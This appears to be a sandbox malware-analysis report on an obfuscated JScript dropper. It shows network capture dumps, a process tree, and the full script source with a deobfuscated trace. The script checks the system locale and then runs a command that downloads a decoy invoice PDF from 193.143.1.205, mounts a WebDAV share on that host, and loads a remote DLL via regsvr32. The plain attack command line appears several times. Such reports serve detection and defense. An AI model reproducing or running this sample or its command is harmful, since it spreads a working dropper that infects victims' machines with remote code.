Jan 11, 2025 08:31:37.205091000 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:31:37.205106974 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 08:31:37.205123901 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 08:31:37.205257893 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 08:31:37.205274105 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 08:31:37.205290079 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 08:31:37.209984064 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	193.143.1.205	8888	5020	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:31:39.677498102 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:31:40.470968008 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:31:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:31:32
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js"
Imagebase:	0x7ff6209f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:31:33
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Imagebase:	0x7ff7dd770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:31:33
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:31:33
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:31:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:31:38
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7dd770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:31:38
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff772e60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:31:38
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:31:38
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff66e660000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:31:39
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1652,i,12950750517814794405,11427539516468304480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function acahrnta() {	acahrnta() ➔ undefined
1	xigbnzp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uexwcwbe = this[lzyutccd + ysygyed + vvmhpbtny + bhgzs + lxhbz + apshndzhv + txepjz + cvcti] ( this[yhposzl + dloffv + invpc + vvmhpbtny + wivmbyqkg + lzyutccd + cvcti][ghyxq + vvmhpbtny + lxhbz + ysygyed + cvcti + lxhbz + onhvlwqgx + ajuai + wuuzsqvgx + lxhbz + invpc + cvcti] ( yhposzl + dloffv + invpc + vvmhpbtny + wivmbyqkg + lzyutccd + cvcti + nyrlyb + dloffv + jzeem + lxhbz + mwayygy + mwayygy ) [edeuyj + lxhbz + nmkutzh + edeuyj + lxhbz + ysygyed + tqprmp] ( pevari + hbecllt + ssmqzu + atkjaie + gpinrejjd + ghyxq + vtywim + edeuyj + edeuyj + ssmqzu + opudyxgpk + dqiwp + gpinrejjd + vtywim + dloffv + ssmqzu + edeuyj + fwakv + ghyxq + xpjlsifxg + txepjz + cvcti + vvmhpbtny + xpjlsifxg + mwayygy + akiihcopa + sgoqdlsjz + ysygyed + txepjz + lxhbz + mwayygy + fwakv + apshndzhv + txepjz + cvcti + lxhbz + vvmhpbtny + txepjz + ysygyed + cvcti + wivmbyqkg + xpjlsifxg + txepjz + ysygyed + mwayygy + fwakv + xljug + xpjlsifxg + invpc + ysygyed + mwayygy + lxhbz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( twcmzh = 0 ; twcmzh < xigbnzp[mwayygy + lxhbz + txepjz + nmkutzh + cvcti + jzeem] ; ++ twcmzh )
4	{
5	if ( uexwcwbe == xigbnzp[twcmzh] )
6	{
7	uexwcwbe = true;
8	break ;
9	}
10	}
11	if ( uexwcwbe !== true )
12	this[yhposzl + dloffv + invpc + vvmhpbtny + wivmbyqkg + lzyutccd + cvcti][ogxun + mngiyh + wivmbyqkg + cvcti] ( );
13	this[yhposzl + dloffv + invpc + vvmhpbtny + wivmbyqkg + lzyutccd + cvcti][ghyxq + vvmhpbtny + lxhbz + ysygyed + cvcti + lxhbz + onhvlwqgx + ajuai + wuuzsqvgx + lxhbz + invpc + cvcti] ( yhposzl + dloffv + invpc + vvmhpbtny + wivmbyqkg + lzyutccd + cvcti + nyrlyb + dloffv + jzeem + lxhbz + mwayygy + mwayygy ) [vvmhpbtny + mngiyh + txepjz] ( invpc + uhziqoup + tqprmp + akiihcopa + djzgcrhgq + invpc + akiihcopa + lzyutccd + xpjlsifxg + bzfpsxltm + lxhbz + vvmhpbtny + bhgzs + jzeem + lxhbz + mwayygy + mwayygy + nyrlyb + lxhbz + ohqjak + lxhbz + akiihcopa + euhwqkovv + ghyxq + xpjlsifxg + uhziqoup + uhziqoup + ysygyed + txepjz + tqprmp + akiihcopa + juatoxksi + apshndzhv + txepjz + nmkecbdyi + xpjlsifxg + lbpfwsvuq + lxhbz + euhwqkovv + yhposzl + lxhbz + ajuai + edeuyj + lxhbz + npclm + mngiyh + lxhbz + bhgzs + cvcti + akiihcopa + euhwqkovv + onhvlwqgx + mngiyh + cvcti + qsxyimf + wivmbyqkg + mwayygy + lxhbz + akiihcopa + whscg + cvcti + lxhbz + uhziqoup + lzyutccd + whscg + fwakv + wivmbyqkg + txepjz + nmkecbdyi + xpjlsifxg + wivmbyqkg + invpc + lxhbz + nyrlyb + lzyutccd + tqprmp + fdrpi + akiihcopa + jzeem + cvcti + cvcti + lzyutccd + myddl + djzgcrhgq + djzgcrhgq + sgcmimrt + pouxj + fouwt + nyrlyb + sgcmimrt + ydrjbhd + fouwt + nyrlyb + sgcmimrt + nyrlyb + zmqhnfly + adackgbvo + eofunl + djzgcrhgq + wivmbyqkg + txepjz + nmkecbdyi + xpjlsifxg + wivmbyqkg + invpc + lxhbz + nyrlyb + lzyutccd + jzeem + lzyutccd + juatoxksi + zehvzegzh + zehvzegzh + bhgzs + cvcti + ysygyed + vvmhpbtny + cvcti + akiihcopa + whscg + cvcti + lxhbz + uhziqoup + lzyutccd + whscg + fwakv + wivmbyqkg + txepjz + nmkecbdyi + xpjlsifxg + wivmbyqkg + invpc + lxhbz + nyrlyb + lzyutccd + tqprmp + fdrpi + zehvzegzh + zehvzegzh + invpc + uhziqoup + tqprmp + akiihcopa + djzgcrhgq + invpc + akiihcopa + txepjz + lxhbz + cvcti + akiihcopa + mngiyh + bhgzs + lxhbz + akiihcopa + fwakv + fwakv + sgcmimrt + pouxj + fouwt + nyrlyb + sgcmimrt + ydrjbhd + fouwt + nyrlyb + sgcmimrt + nyrlyb + zmqhnfly + adackgbvo + eofunl + auoigzapv + iankrmjyv + iankrmjyv + iankrmjyv + iankrmjyv + fwakv + tqprmp + ysygyed + nmkecbdyi + bzfpsxltm + bzfpsxltm + bzfpsxltm + vvmhpbtny + xpjlsifxg + xpjlsifxg + cvcti + fwakv + zehvzegzh + zehvzegzh + invpc + uhziqoup + tqprmp + akiihcopa + djzgcrhgq + invpc + akiihcopa + vvmhpbtny + lxhbz + nmkutzh + bhgzs + nmkecbdyi + vvmhpbtny + fouwt + zmqhnfly + akiihcopa + djzgcrhgq + bhgzs + akiihcopa + fwakv + fwakv + sgcmimrt + pouxj + fouwt + nyrlyb + sgcmimrt + ydrjbhd + fouwt + nyrlyb + sgcmimrt + nyrlyb + zmqhnfly + adackgbvo + eofunl + auoigzapv + iankrmjyv + iankrmjyv + iankrmjyv + iankrmjyv + fwakv + tqprmp + ysygyed + nmkecbdyi + bzfpsxltm + bzfpsxltm + bzfpsxltm + vvmhpbtny + xpjlsifxg + xpjlsifxg + cvcti + fwakv + sgcmimrt + fouwt + iankrmjyv + eofunl + adackgbvo + sgcmimrt + srnksj + pouxj + iolqchns + srnksj + sgcmimrt + adackgbvo + srnksj + sgcmimrt + adackgbvo + nyrlyb + tqprmp + mwayygy + mwayygy, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll",0,false) ➔ 0
14	}
15	xljug = "t";
16	xljug = "S";
17	xljug = "w";
18	xljug = "g";
19	xljug = "g";
20	xljug = "U";
21	xljug = "p";
22	xljug = "d";
23	xljug = "M";
24	xljug = "T";
25	xljug = "x";
26	xljug = "f";
27	xljug = "i";
28	xljug = "k";
29	xljug = "n";
30	xljug = "B";
31	xljug = "N";
32	xljug = "j";
33	xljug = "W";
34	xljug = "N";
35	xljug = "e";
36	xljug = "c";
37	xljug = "x";
38	xljug = "C";
39	xljug = "B";
40	xljug = "r";
41	xljug = "L";
42	euhwqkovv = "x";
43	euhwqkovv = "-";
44	lxhbz = "k";
45	lxhbz = "l";
46	lxhbz = "y";
47	lxhbz = "F";
48	lxhbz = "Z";
49	lxhbz = "P";
50	lxhbz = "e";
51	lxhbz = "b";
52	lxhbz = "t";
53	lxhbz = "U";
54	lxhbz = "B";
55	lxhbz = "g";
56	lxhbz = "w";
57	lxhbz = "z";
58	lxhbz = "c";
59	lxhbz = "Q";
60	lxhbz = "y";
61	lxhbz = "W";
62	lxhbz = "X";
63	lxhbz = "a";
64	lxhbz = "T";
65	lxhbz = "H";
66	lxhbz = "T";
67	lxhbz = "X";
68	lxhbz = "i";
69	lxhbz = "J";
70	lxhbz = "e";
71	invpc = "K";
72	invpc = "V";
73	invpc = "C";
74	invpc = "W";
75	invpc = "L";
76	invpc = "s";
77	invpc = "C";
78	invpc = "x";
79	invpc = "G";
80	invpc = "D";
81	invpc = "U";
82	invpc = "H";
83	invpc = "K";
84	invpc = "e";
85	invpc = "c";
86	nmkecbdyi = "f";
87	nmkecbdyi = "y";
88	nmkecbdyi = "o";
89	nmkecbdyi = "M";
90	nmkecbdyi = "a";
91	nmkecbdyi = "Z";
92	nmkecbdyi = "o";
93	nmkecbdyi = "Z";
94	nmkecbdyi = "K";
95	nmkecbdyi = "W";
96	nmkecbdyi = "g";
97	nmkecbdyi = "v";
98	nmkecbdyi = "H";
99	nmkecbdyi = "J";
100	nmkecbdyi = "v";
101	iolqchns = "M";
102	iolqchns = "s";
103	iolqchns = "f";
104	iolqchns = "P";
105	iolqchns = "e";
106	iolqchns = "a";
107	iolqchns = "X";
108	iolqchns = "a";
109	iolqchns = "A";
110	iolqchns = "l";
111	iolqchns = "p";
112	iolqchns = "N";
113	iolqchns = "B";
114	iolqchns = "L";
115	iolqchns = "u";
116	iolqchns = "t";
117	iolqchns = "v";
118	iolqchns = "O";
119	iolqchns = "r";
120	iolqchns = "z";
121	iolqchns = "W";
122	iolqchns = "E";
123	iolqchns = "m";
124	iolqchns = "F";
125	iolqchns = "g";
126	iolqchns = "q";
127	iolqchns = "S";
128	iolqchns = "M";
129	iolqchns = "c";
130	iolqchns = "k";
131	iolqchns = "b";
132	iolqchns = "m";
133	iolqchns = "h";
134	iolqchns = "O";
135	iolqchns = "G";
136	iolqchns = "6";
137	bhgzs = "Y";
138	bhgzs = "H";
139	bhgzs = "w";
140	bhgzs = "m";
141	bhgzs = "H";
142	bhgzs = "c";
143	bhgzs = "T";
144	bhgzs = "s";
145	vtywim = "v";
146	vtywim = "t";
147	vtywim = "Z";
148	vtywim = "Y";
149	vtywim = "A";
150	vtywim = "W";
151	vtywim = "M";
152	vtywim = "t";
153	vtywim = "R";
154	vtywim = "s";
155	vtywim = "A";
156	vtywim = "U";
157	vtywim = "I";
158	vtywim = "y";
159	vtywim = "D";
160	vtywim = "D";
161	vtywim = "N";
162	vtywim = "R";
163	vtywim = "c";
164	vtywim = "V";
165	vtywim = "R";
166	vtywim = "J";
167	vtywim = "F";
168	vtywim = "I";
169	vtywim = "o";
170	vtywim = "N";
171	vtywim = "w";
172	vtywim = "N";
173	vtywim = "T";
174	vtywim = "M";
175	vtywim = "Q";
176	vtywim = "U";
177	uhziqoup = "c";
178	uhziqoup = "s";
179	uhziqoup = "m";
180	juatoxksi = "R";
181	juatoxksi = "q";
182	juatoxksi = "Q";
183	juatoxksi = "Q";
184	juatoxksi = "l";
185	juatoxksi = "R";
186	juatoxksi = "E";
187	juatoxksi = "I";
188	juatoxksi = "\"";
189	wuuzsqvgx = "z";
190	wuuzsqvgx = "K";
191	wuuzsqvgx = "v";
192	wuuzsqvgx = "f";
193	wuuzsqvgx = "y";
194	wuuzsqvgx = "O";
195	wuuzsqvgx = "j";
196	onhvlwqgx = "c";
197	onhvlwqgx = "T";
198	onhvlwqgx = "Q";
199	onhvlwqgx = "T";
200	onhvlwqgx = "N";
201	onhvlwqgx = "V";
202	onhvlwqgx = "c";
203	onhvlwqgx = "S";
204	onhvlwqgx = "y";
205	onhvlwqgx = "N";
206	onhvlwqgx = "B";
207	onhvlwqgx = "I";
208	onhvlwqgx = "N";
209	onhvlwqgx = "o";
210	onhvlwqgx = "H";
211	onhvlwqgx = "N";
212	onhvlwqgx = "G";
213	onhvlwqgx = "i";
214	onhvlwqgx = "g";
215	onhvlwqgx = "w";
216	onhvlwqgx = "L";
217	onhvlwqgx = "Z";
218	onhvlwqgx = "f";
219	onhvlwqgx = "F";
220	onhvlwqgx = "q";
221	onhvlwqgx = "O";
222	nyrlyb = "A";
223	nyrlyb = "N";
224	nyrlyb = "z";
225	nyrlyb = "m";
226	nyrlyb = "w";
227	nyrlyb = "u";
228	nyrlyb = "R";
229	nyrlyb = ".";
230	zmqhnfly = "U";
231	zmqhnfly = "P";
232	zmqhnfly = "Z";
233	zmqhnfly = "2";
234	ssmqzu = "t";
235	ssmqzu = "e";
236	ssmqzu = "I";
237	ssmqzu = "l";
238	ssmqzu = "p";
239	ssmqzu = "O";
240	ssmqzu = "S";
241	ssmqzu = "L";
242	ssmqzu = "Y";
243	ssmqzu = "n";
244	ssmqzu = "W";
245	ssmqzu = "J";
246	ssmqzu = "x";
247	ssmqzu = "l";
248	ssmqzu = "y";
249	ssmqzu = "E";
250	whscg = "J";
251	whscg = "A";
252	whscg = "a";
253	whscg = "g";
254	whscg = "z";
255	whscg = "L";
256	whscg = "h";
257	whscg = "I";
258	whscg = "A";
259	whscg = "e";
260	whscg = "Y";
261	whscg = "a";
262	whscg = "Q";
263	whscg = "Z";
264	whscg = "F";
265	whscg = "C";
266	whscg = "k";
267	whscg = "k";
268	whscg = "h";
269	whscg = "q";
270	whscg = "S";
271	whscg = "e";
272	whscg = "M";
273	whscg = "A";
274	whscg = "i";
275	whscg = "c";
276	whscg = "c";
277	whscg = "l";
278	whscg = "e";
279	whscg = "z";
280	whscg = "%";
281	ohqjak = "t";
282	ohqjak = "s";
283	ohqjak = "O";
284	ohqjak = "h";
285	ohqjak = "F";
286	ohqjak = "n";
287	ohqjak = "j";
288	ohqjak = "s";
289	ohqjak = "O";
290	ohqjak = "F";
291	ohqjak = "B";
292	ohqjak = "y";
293	ohqjak = "c";
294	ohqjak = "F";
295	ohqjak = "e";
296	ohqjak = "U";
297	ohqjak = "D";
298	ohqjak = "H";
299	ohqjak = "L";
300	ohqjak = "B";
301	ohqjak = "V";
302	ohqjak = "Z";
303	ohqjak = "U";
304	ohqjak = "i";
305	ohqjak = "k";
306	ohqjak = "L";
307	ohqjak = "o";
308	ohqjak = "w";
309	ohqjak = "K";
310	ohqjak = "x";
311	mngiyh = "x";
312	mngiyh = "g";
313	mngiyh = "H";
314	mngiyh = "n";
315	mngiyh = "x";
316	mngiyh = "x";
317	mngiyh = "n";
318	mngiyh = "v";
319	mngiyh = "K";
320	mngiyh = "Z";
321	mngiyh = "g";
322	mngiyh = "e";
323	mngiyh = "O";
324	mngiyh = "R";
325	mngiyh = "u";
326	fdrpi = "s";
327	fdrpi = "E";
328	fdrpi = "X";
329	fdrpi = "J";
330	fdrpi = "n";
331	fdrpi = "L";
332	fdrpi = "y";
333	fdrpi = "A";
334	fdrpi = "L";
335	fdrpi = "Q";
336	fdrpi = "l";
337	fdrpi = "z";
338	fdrpi = "V";
339	fdrpi = "U";
340	fdrpi = "W";
341	fdrpi = "c";
342	fdrpi = "V";
343	fdrpi = "G";
344	fdrpi = "d";
345	fdrpi = "R";
346	fdrpi = "k";
347	fdrpi = "b";
348	fdrpi = "I";
349	fdrpi = "B";
350	fdrpi = "n";
351	fdrpi = "N";
352	fdrpi = "s";
353	fdrpi = "X";
354	fdrpi = "t";
355	fdrpi = "Q";
356	fdrpi = "f";
357	opudyxgpk = "n";
358	opudyxgpk = "i";
359	opudyxgpk = "F";
360	opudyxgpk = "m";
361	opudyxgpk = "x";
362	opudyxgpk = "W";
363	opudyxgpk = "r";
364	opudyxgpk = "F";
365	opudyxgpk = "T";
366	opudyxgpk = "W";
367	opudyxgpk = "E";
368	opudyxgpk = "H";
369	opudyxgpk = "L";
370	opudyxgpk = "P";
371	opudyxgpk = "A";
372	opudyxgpk = "E";
373	opudyxgpk = "b";
374	opudyxgpk = "a";
375	opudyxgpk = "H";
376	opudyxgpk = "B";
377	opudyxgpk = "v";
378	opudyxgpk = "d";
379	opudyxgpk = "B";
380	opudyxgpk = "w";
381	opudyxgpk = "d";
382	opudyxgpk = "Y";
383	opudyxgpk = "N";
384	dloffv = "j";
385	dloffv = "H";
386	dloffv = "W";
387	dloffv = "S";
388	srnksj = "U";
389	srnksj = "v";
390	srnksj = "l";
391	srnksj = "c";
392	srnksj = "q";
393	srnksj = "v";
394	srnksj = "G";
395	srnksj = "w";
396	srnksj = "g";
397	srnksj = "T";
398	srnksj = "T";
399	srnksj = "f";
400	srnksj = "D";
401	srnksj = "y";
402	srnksj = "X";
403	srnksj = "B";
404	srnksj = "R";
405	srnksj = "U";
406	srnksj = "q";
407	srnksj = "J";
408	srnksj = "w";
409	srnksj = "x";
410	srnksj = "H";
411	srnksj = "i";
412	srnksj = "r";
413	srnksj = "R";
414	srnksj = "k";
415	srnksj = "R";
416	srnksj = "b";
417	srnksj = "U";
418	srnksj = "c";
419	srnksj = "T";
420	srnksj = "z";
421	srnksj = "L";
422	srnksj = "S";
423	srnksj = "D";
424	srnksj = "b";
425	srnksj = "d";
426	srnksj = "7";
427	dqiwp = "B";
428	dqiwp = "g";
429	dqiwp = "f";
430	dqiwp = "R";
431	dqiwp = "a";
432	dqiwp = "o";
433	dqiwp = "k";
434	dqiwp = "a";
435	dqiwp = "T";
436	mwayygy = "D";
437	mwayygy = "n";
438	mwayygy = "u";
439	mwayygy = "M";
440	mwayygy = "I";
441	mwayygy = "G";
442	mwayygy = "u";
443	mwayygy = "k";
444	mwayygy = "g";
445	mwayygy = "t";
446	mwayygy = "V";
447	mwayygy = "S";
448	mwayygy = "m";
449	mwayygy = "i";
450	mwayygy = "F";
451	mwayygy = "r";
452	mwayygy = "G";
453	mwayygy = "q";
454	mwayygy = "l";
455	mwayygy = "G";
456	mwayygy = "B";
457	mwayygy = "B";
458	mwayygy = "h";
459	mwayygy = "w";
460	mwayygy = "U";
461	mwayygy = "G";
462	mwayygy = "U";
463	mwayygy = "P";
464	mwayygy = "X";
465	mwayygy = "t";
466	mwayygy = "R";
467	mwayygy = "S";
468	mwayygy = "X";
469	mwayygy = "O";
470	mwayygy = "g";
471	mwayygy = "Z";
472	mwayygy = "K";
473	mwayygy = "S";
474	mwayygy = "e";
475	mwayygy = "d";
476	mwayygy = "R";
477	mwayygy = "f";
478	mwayygy = "k";
479	mwayygy = "l";
480	wivmbyqkg = "j";
481	wivmbyqkg = "b";
482	wivmbyqkg = "H";
483	wivmbyqkg = "i";
484	wivmbyqkg = "A";
485	wivmbyqkg = "E";
486	wivmbyqkg = "E";
487	wivmbyqkg = "z";
488	wivmbyqkg = "y";
489	wivmbyqkg = "q";
490	wivmbyqkg = "m";
491	wivmbyqkg = "S";
492	wivmbyqkg = "Q";
493	wivmbyqkg = "D";
494	wivmbyqkg = "T";
495	wivmbyqkg = "a";
496	wivmbyqkg = "s";
497	wivmbyqkg = "p";
498	wivmbyqkg = "q";
499	wivmbyqkg = "y";
500	wivmbyqkg = "M";
501	wivmbyqkg = "g";
502	wivmbyqkg = "I";
503	wivmbyqkg = "d";
504	wivmbyqkg = "b";
505	wivmbyqkg = "Y";
506	wivmbyqkg = "z";
507	wivmbyqkg = "n";
508	wivmbyqkg = "s";
509	wivmbyqkg = "i";
510	apshndzhv = "K";
511	apshndzhv = "f";
512	apshndzhv = "d";
513	apshndzhv = "G";
514	apshndzhv = "T";
515	apshndzhv = "F";
